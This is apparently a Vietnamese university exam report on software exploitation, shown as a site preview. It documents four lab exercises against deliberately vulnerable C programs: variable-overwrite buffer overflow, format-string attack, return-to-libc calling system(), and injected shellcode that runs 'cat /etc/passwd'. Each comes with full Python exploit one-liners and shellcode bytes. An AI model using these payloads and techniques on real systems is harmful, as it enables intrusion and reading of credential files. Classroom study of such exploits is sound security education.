Tải bản đầy đủ (.docx) (9 trang)

Khai thác lỗ hổng phần mềm part1

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (475.05 KB, 9 trang )

BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Sinh viên : Nguyễn Thị Kim Huế
SBD : 08
Mã số sinh viên : AT13CLC0101

BÁO CÁO KẾT QUẢ LÀM BÀI THI
KẾT THÚC HỌC PHẦN
Môn học: Khai thác lỗ hổng phần mềm
Khóa đào tạo: AT13CLC

Câu 1
-

Bước 1. Quan sát mã chương trình:
Chương trình exercise1.c

-

Tạo file thực thi bằng gcc


Bước 2. Phân tích tệp tin excercise1 bằng IDA

-

Biến v1 nằm ở vị trí esp + 9h và biến v2 nằm ở vị trí esp + 218h như vậy
biến v2 nằm sau biến v1 một khoảng là 0x218 – 0x9 = 527 byte
Biến v2 nằm ở vị trí esp + 218h và biến v3 nằm ở vị trí esp + 21Ch như vậy


biến v3 nằm sau biến v2 một khoảng 0x21C – 0x218 = 4 byte

-

Bước 3. Lập kịch bản khai thác
Để giải được bài này ta cần chèn thêm một chuỗi 527 byte bất kỳ + chèn giá
trị của v2 là 0x4C 0x33 0x22 0x11
Tiếp theo chèn thêm giá trị của v3 < 0 ở đây lấy giá trị -8 nên ta chèn thêm
một chuỗi byte ở định dạng hexa là 0xf8 0xff 0xff 0xff
Mã khai thác:
python -c 'print "A"*527 + "\x4C\x33\x22\x11" + "\xf8\xff\xff\xff"' |
./excercise1
Bước 4. Kết quả khai thác:

Câu 2
Bước 1: Quan sát code chương trình excercise2.c .


Biên dịch chương trình:
sudo sysctl kernel.randomize_va_space=0
gcc excercise2.c -o excercise2 -fno-stack-protector -z execstack
-

Bước 2: Tìm địa chỉ hàm trả về dòng chữ “you won”

-

Địa chỉ là : 0x80485c0 => Đây là địa chỉ của giá trị được push vào hàm win:
you won!



Bước 3: Thử chạy chương trình .

Ta thấy 7 tham số còn trống
Bước 4. Mã khai thác.
Cần chèn địa chỉ của giá trị được push tỏng hàm win là tham số.

python -c 'print "B\xc0\x85\x04\x08" + "%x"*7 +"%s"' | ./exercise2

Câu 3.
-

-

Bước 1. Xác định khoảng cách buff tới địa chỉ trả về.
Chương trình exercise3.c

Biên dịch chương trình bằng lệnh: gcc exercise3.c –o exercise3 –z execstack
-fno-stack-protector
Tạo 1 file win in ra dòng chữ “You win!”


-

Đặt Breackpoint tại địa chỉ sau hàm Gets . Tức đặt tại 0x804849a

-

Địa chi buff là : 0xbfffe920


-

Địa chỉ eip là : 0xbfffefac


-

Vậy khoảng giữa buff và eip là : 0xbfffefac - 0xbfffe920=1676 = 68C
Chạy chương trình lấy điạ chỉ buff : 0xbfffe990.

-

-

-

Bước 2. Xác định hàm libc cần dùng
Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System
Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0

Ta lấy địa chỉ của Buf cộng thêm 68C để tính ra địa chỉ ret address là:
0xbffff01c
Từ đây ta sẽ có địa chỉ hàm sys là 0xbffff028

Bước 3. Mã khai thác bằng ngôn ngữ Python
python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf"
+ "./win"'|./exercise3
-

Bước 4. Kết quả khai thác

Kết quả khai thác là in ra “You won!”.

Câu 4:
Bước 1: Mã shellcode
-

Shellcode thực thi lệnh "cat /etc/passwd"


-


-

Kiểm tra shellcode

-

Shellcode :
"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x
70\x61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\
x01\xcd\x80";
Bước 2. Quan sát mã nguồn chương trình excercise4.c

Bước 3. Tìm khoảng cách buff tới địa chỉ trả về :
Địa chỉ buff là : 0xbfffec89
Địa chỉ eip là : 0xbfffef8c
Khoảng cách buff tới eip là : 0xbfffef8c- 0xbfffec89 =771



Bước 4: Mã khai thác là :
./excercise4 $(python -c 'print"A"*771 +
"\x09\xed\xff\xbf"+"\x31\xc9\xf7\xe9\x31\xdb\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x68\x2f\x70\x
61\x73\x68\x2f\x65\x74\x63\x89\xe7\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
57\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\xb0\x01\xcd\x80"')



×